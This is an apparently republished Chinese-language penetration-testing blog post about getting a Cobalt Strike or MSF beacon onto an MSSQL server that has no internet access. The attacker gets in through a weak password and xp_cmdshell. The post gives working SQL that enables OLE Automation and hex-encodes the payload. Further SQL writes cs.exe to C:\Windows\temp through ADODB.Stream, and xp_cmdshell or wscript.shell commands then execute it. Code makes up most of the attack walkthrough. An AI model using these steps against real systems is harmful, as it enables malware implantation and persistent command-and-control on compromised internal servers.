前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >MSSQL不出网文件落地上线方式

MSSQL不出网文件落地上线方式

作者头像
潇湘信安
发布2022-09-14 21:49:03
9470
发布2022-09-14 21:49:03
举报
文章被收录于专栏:潇湘信安潇湘信安

0x01 前言

一个MSSQL非注入的场景:在内网扫描到一个MSSQL弱口令,支持xp_cmdshell,Administrator权限,但不能出网,DNS也出不了,那么我们该如何将文件落地到目标主机并执行上线呢?

0x02 利用思路

我们可以通过当前这台能出网的主机开启一个Socks代理连接不出网主机的MSSQL,然后再利用以下方式将PE文件落地到不出网的MSSQL主机,最终通过出网主机来中转上线不出网主机。

0x03 启用OLE组件

在执行命令或写入文件时都需要用到sp_oacreate,这主要是用来创建OLE对象,所以需要先执行以下SQL语句来启用“OLE Automation Procedures”组件。

代码语言:javascript
复制
exec master.dbo.sp_configure 'show advanced options', 1
RECONFIGURE
exec master.dbo.sp_configure 'Ole Automation Procedures', 1
RECONFIGURE
图片
图片

0x04 EXE转换HEX

使用以下方式将生成的CS/MSF攻击载荷文件转换为HEX编码,这里我找了几个可以转换HEX编码的方法,Linux的xxd命令,python脚本,或者010editor编辑器,根据个人习惯选择吧。

(1) Linux exe -> hex

代码语言:javascript
复制
xxd -ps beacon.exe hex.txt
图片
图片

(2) python exe -> hex

代码语言:javascript
复制
import binascii
filename = 'beacon.exe'
with open(filename, 'rb') as f:
    content = f.read()
print(binascii.hexlify(content))
图片
图片

(3) 010editor exe -> hex

利用这种方式拷贝下来的HEX也能使用certutil.exe -decodehex正常解码,但如果要用OLE组件写入时就还需要做下处理,将空格、换行都删掉,全部放在一行即可。

图片
图片

0x05 EXE文件落地

将我们上边转换好的HEX编码放在第一行,加上0x,然后在本地的Navicat Premium数据库管理工具中执行即可,这时可以看到cs.exe文件已经成功落地到目标主机的磁盘。

注:xp_cmdshell组件调用的是cmd.exe,所以在利用这种方式写入大文件时可能会出现字符长度限制等问题。

代码语言:javascript
复制
DECLARE @DATA VARBINARY(MAX) = 0x-hex
        DECLARE @filepath VARCHAR(MAX) = 'C:\\Windows\\temp\\cs.exe'
        DECLARE @ObjectToken INT
        EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT
        EXEC sp_OASetProperty @ObjectToken, 'Type', 1
        EXEC sp_OAMethod @ObjectToken, 'Open'
        EXEC sp_OAMethod @ObjectToken, 'Write', NULL, @DATA
        EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL, @filepath, 2
        EXEC sp_OAMethod @ObjectToken, 'Close'
        EXEC sp_OADestroy @ObjectToken
        SELECT @filepath
图片
图片
图片
图片

0x06 执行EXE上线

这时再利用xp_cmdshell、sp_oacreate等方式去执行刚落地的cs.exe即可上线。这里我只是根据这种场景进行了简单的模拟测试,不出网主机上线方式可参考我之前分享的。

利用MSF上线断网主机的思路分享利用goproxy http上线不出网主机利用Pystinger Socks4上线不出网主机

xp_cmdshell:

代码语言:javascript
复制
exec master..xp_cmdshell "cmd /c C:\\Windows\\temp\\cs.exe"

sp_oacreate:

代码语言:javascript
复制
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c C:\\Windows\\temp\\cs.exe'
图片
图片
图片
图片
本文参与?腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-06-03,如有侵权请联系?cloudcommunity@tencent.com 删除

本文分享自 潇湘信安 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与?腾讯云自媒体分享计划? ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
数据库智能管家 DBbrain
数据库智能管家(TencentDB for DBbrain,DBbrain)是腾讯云推出的一款为用户提供数据库性能、安全、管理等功能的数据库自治云服务。DBbrain 利用机器学习、大数据手段、专家经验引擎快速复制资深数据库管理员的成熟经验,将大量传统人工的数据库运维工作智能化,服务于云上和云下企业,有效保障数据库服务的安全、稳定及高效运行。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
http://www.vxiaotou.com